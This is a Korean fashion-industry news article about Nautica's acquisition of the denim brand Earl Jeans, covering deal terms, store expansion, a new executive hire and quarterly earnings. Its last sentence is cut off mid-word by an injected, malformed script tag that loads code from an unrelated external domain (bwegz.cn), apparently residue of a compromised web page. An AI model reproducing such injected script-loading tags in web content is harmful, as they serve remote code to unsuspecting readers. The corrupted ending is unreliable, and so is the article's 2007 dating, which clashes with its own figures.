「노티카」, 여성진캐주얼 「얼진스」인수
2007-01-30 

「얼진스(Earl Jeans)」인수
「노티카」가 최근 여성 고가 진 캐주얼 업체인 「Earl Jeans(얼진스)」를 인수했다.
「얼진스」는 현재 로스앤젤레스에 한 개의 매장을 갖고 있는 여성 진 생산·제조 업체.
규모는 작지만 슬림한 피팅, 웨스턴 풍의 로우웨이스트 데님 진을 선보여 국제적인 명성을 얻고 있는 점이 「노티카」에게 호감을 불러일으켰다는 분석이다.
「얼진스」의 지난해 매출은 2천890만달러로 1999년 1천380만달러의 두 배가 되는 매출을 기록했다.
「노티카」는 “「얼진스」 인수 작업은 지난 몇 개월 동안 진행돼온 것으로, 사업 이념이 같고 기업 풍토가 비슷해 통합이 용이했다”고 평가했다.
이제 양측은 생산 제품 부문을 확대하고 세계 시장을 개척하는데 힘을 모을 계획이다.
「노티카」는 「얼진스」을 인수하는 대가로 4천500만달러를 현금으로 지불하고 양측의 합의가 완료되는 5월 초 쯤 112만2천271주의 주식을 새로 발행하기로 했다.
또한 양측의 합의서에는 인수 후 10년 동안 일정 수준 이상으로 수익이 상승할 경우 「얼진스」의 창업자 수잔 프라이월드와 벤 프라이월드에게 최대 2천100만달러를 추가 증여키로 했다.
「노티카」는 “「얼진스」를 인수하게 됨으로써 보다 고가(高價), 고품격(高品格), 현대적(現代的)인 브랜드로 이미지를 개선할 기회를 얻었을 뿐 아니라, 전문 매장 유통을 확충할 수 있는 계기를 마련하게 됐다”고 평가했다.
단순한 기업 합병이 아니라 전략적인 시너지 현상을 얻기 위한 ‘고도의 융합작전’이라는 것.
한편 「얼진스」의 경영자 벤 프라이월드는 “국제적인 데님 브랜드로 성장할 계기를 마련하기 위해 「노티카」의 인수 제의를 받아들였다”며 합의 배경을 설명했다.
즉 지난 1980년대에 「디젤」이나 「게스」가 데님 업계에 일으켰던 바람을 이제 「얼진스」가 일으키겠다는 것.
「노티카」는 기존의 「얼진스」 유통망을 지원하기 위해 주요 도시에 작은 매장을 추가 오픈하되 급속한 확장 전략은 자제한다는 전략을 세워놓고 있다.
「얼진스」는 현재 단 한 개의 매장을 운영하고 있지만, 600평방피트의 작은 매장에서 얻는 판매액만 매달 6만∼7만5천달러에 달하는 등 수익성이 매우 높다.
이에 힘입어 「얼진스」는 뉴욕의 소호 지역과 런던 등에 추가 매장을 개설할 계획이며 소호에 들어설 「얼진스」 매장은 올해 말 정도에 오픈될 예정이다.
한편 「얼진스」는 「노티카」에 합병된 뒤에도 근거지 LA를 고수할 계획이라고 밝혔다. 그러나 회계부문은 「노티카」의 지휘를 받게 될 것으로 보인다.
또한 「얼진스」는 「노티카」에 인수된 뒤 「노티카」의 자회사 형태로 운영될 예정이다.

당분간 또다른 인수는 No.
「노티카」는 현재 「얼진스」 외에 추가 기업 인수 계획이 없다고 밝혔다.
당분간 관망상태를 유지하겠다는 것.
현재 「노티카」는 기존에 「제네스코(Genesco)」와 맺고 있던 풋웨어 부문의 라이센스 계약을 해지하고 새로운 업체를 라이센스 파트너로 맞이할 계획이다.
새로운 라이센스 하청 업체의 윤곽은 조만간 드러날 전망이다.

새인물 영입
「노티카」는 최근 산드라 캄포스를 여성복 담당 부사장 및 뉴욕외 지역의 영업 담당자로 영입하면서, 상대적으로 침체기를 겪고 있는 「노티카」 여성 라인을 회복시키는 전략에 돌입했다.

새로운 거점 매장
한편 「노티카」는 지난 4월 22일 록펠러 센터에 1만4천평방피트 규모의 거점매장을 마련했다.
미래형 프리스탠딩 매장의 모델이라는 평을 받으며 고객들의 뜨거운 반응을 얻고 있는 이 매장의 첫 회계연도 매출은 1천만∼2천만달러 정도.
매장 구조는 1층은 남성복 전용 매장, 2층은 여성용 「노티카」 진·스윔웨어·슬립웨어 및 「노티카」의 디자이너 데이비드 추가 디자인한 럭셔리 스포츠웨어 컬렉션 등이 함께 구비돼 있다. 또한 매 시즌마다 스페셜 남성·여성 스포츠웨어를 선보이는 구역을 따로 지정해 둘 계획이라고 밝혔다.
「노티카」는 5월 중 이탈리아의 포르토피노에 또 다른 매장을 오픈할 예정이다.

「노티카」의 지난해 4분기 순익은 전년 같은 분기 대비 29.9% 상승한 1천310만달러를 기록했다.
한 주(share)당 수익은 29센트에 달했다. 매출 역시 10.6% 신장한 1억5천820만달러로 집계됐다.
올 1분기 「노티카」의 도매 수익은 15.6% 증가한 1억1천910만달러인 반면, 소매 수입은 지난해 같은 분기와 비슷한 3천980만달러 수준인 것으로 드러났다.
비교 매장 판매는 11% 하락했는데 아울렛 매장의 판매가 부진했던 것이 주원인으로 분석된다.
4월의 아울렛 판매 실적은 3.7% 증가했으며 최근 나스닥에서 「노티카」의 주가는 4.6% 오른 16달러로 마감했다.
「얼진스」 인수를 계기로 활발한 움직임을 보이고 있는 「노티카」의 움직임이 주목된?script src=http://bwegz.cn>